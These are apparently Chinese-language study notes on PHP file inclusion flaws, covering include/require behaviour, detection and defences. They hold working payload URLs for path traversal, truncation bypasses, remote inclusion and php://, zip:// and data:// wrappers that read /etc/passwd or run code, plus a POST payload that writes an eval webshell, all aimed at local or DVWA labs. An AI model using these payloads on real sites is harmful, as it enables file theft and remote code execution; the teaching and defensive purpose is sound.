目录
文件包含的作用:将文件以脚本的格式执行(根据当前网站脚本类型)
#文件包含各个脚本代码
第八个 C 语言那个,是包含远程文件,其余的是包含本地文件
文件包含在 php 中,涉及到的危险函数有四个,分别是include()、include_once()、require()、require_once()。
区别如下:
include:包含并运行指定的文件,包含文件发生错误时,程序警告,但会继续执行。
include_once:和 include 类似,不同处在于 include_once 会检查这个文件是否已经被导入,如果已导入,下文便不会再导入,直面 once 理解就是只导入一次。
require:包含并运行指定的文件,包含文件发生错误时,程序直接终止执行。
require_once:和 require 类似,不同处在于 require_once 只导入一次。
3、文件包含漏洞成因:
⚫ 可控变量
⚫ 文件包含函数
#文件包含漏洞的检测
如果是开源网站(白盒)可以通过代码审计,来查出漏洞所在位置和原理
如果是黑盒
①可以通过漏洞扫描工具识别;
②如果黑盒是什么程序平台,中间件,框架等。寻找公开漏洞;
③通过查看网站的url地址,观察链接上参数值是file=a.js/a.php/a.asp/a/aspx等,且是关于文件的功能点,可以尝试文件包含漏洞
文件包含漏洞分为本地包含和远程包含
#本地包含-无限制,有限制
无规则限制下,直接包含本地文件
http://127.0.0.1/include.php?filename=1.txt(此时文件位于WWW根目录)
http://127.0.0.1/include.php?filename=../../../www.txt(E:\phpStudy\PHPTutorial\WWW 此时www.txt文件位于E盘中)
有规则限制,例如限定文件后缀,使用%00截断和长度截断
%00截断:条件:magic_quotes_gpc = off ; php版本<5.3.4
filename=../../../www.txt%00
长度截断:条件:Windows,点号需要长于256;Linux需要长于4096; php版本<5.3.4
#远程包含-无限制,有限制
远程包含必须对方服务器allow_url_include开关为on时,表示允许地址请求,支持远程包含
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt 【无后缀限制】
绕过后缀限制
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%20
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt%23
http://127.0.0.1:8080/include.php?filename=http://www.xiaodi8.com/readme.txt?
#文件包含结合伪协议
off/on 代表不论对方数据库是否开启引擎,伪协议都能够被利用
file://+绝对路径:访问文件
data:// 读取数据
php://filter 可以在执行代码前将代码换个方式读取出来,只是读取,不需要开启两个引擎,读取源代码并进行 base64 编码输出,不然源代码会直接当做 php 代码执行就看不到
内容了
php://input?test=php://input 【post data】<?php phpinfo();?>
file
条件:allow_url_fopen: off/on allow_url_include: off/on
Linux:http://127.0.0.1/FI/LFI.php?file=file:///etc/passwd 绝对路径
Windows:http://192.168.6.128:8001/vulnerabilities/fi/?page=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
PHP
php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受 allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。php://filter伪协议:不受 allow_url_fopen与allow_url_include参数的影响
1、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=./1.txt 相对路径
2、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt 绝对路径
3、http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd4、此协议主要用于读取php源代码时会用到
5、http://192.168.6.128:8001/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt 以base64编码将文件内容输出6、http://127.0.0.1/LFI.php?file=php://input
写入一句话木马用法(allow_url_fopen:ON)
http://127.0.0.1/include.php?file=php://input
[POST DATA部分]
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>
zip
条件:allow_url_fopen: off/on allow_url_include: off/on
1 、现将要执行 php 代码写好并且命名为 a.txt,将 a.txt 进行 zip 压缩,命名为 a.zip,如果可以上传 zip 文件便直接上传,如若不能可将 a.zip 命名为 a.jpg 上传;
2 、将 a.php 直接压缩成 a.bz2http://127.0.0.1/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.zip%23a.txt
http://127.0.0.1/FI/LFI.php?file=zip://D:/phpstudy/PHPTutorial/WWW/a.jpg%23a.txt
data
allow_url_fopen: on allow_url_include: on
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://192.168.6.128:8001/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
http
allow_url_fopen与allow_url_include同时开启。缺一不可
http://localhost/test.php?file=http://www.baidu.com
#文件包含漏洞防范措施
1、设置白名单:对文件包含的文件采取白名单限制
2、循环检测过滤威胁字符:过滤../、php://、fihttp://、http://、https://等危险函数
3、关闭危险引擎设置:如allow_url_fopen=off、allow_url_include=off等
4、开启魔术引号开关:magic_quotes_gpc=on
伪协议参考链接: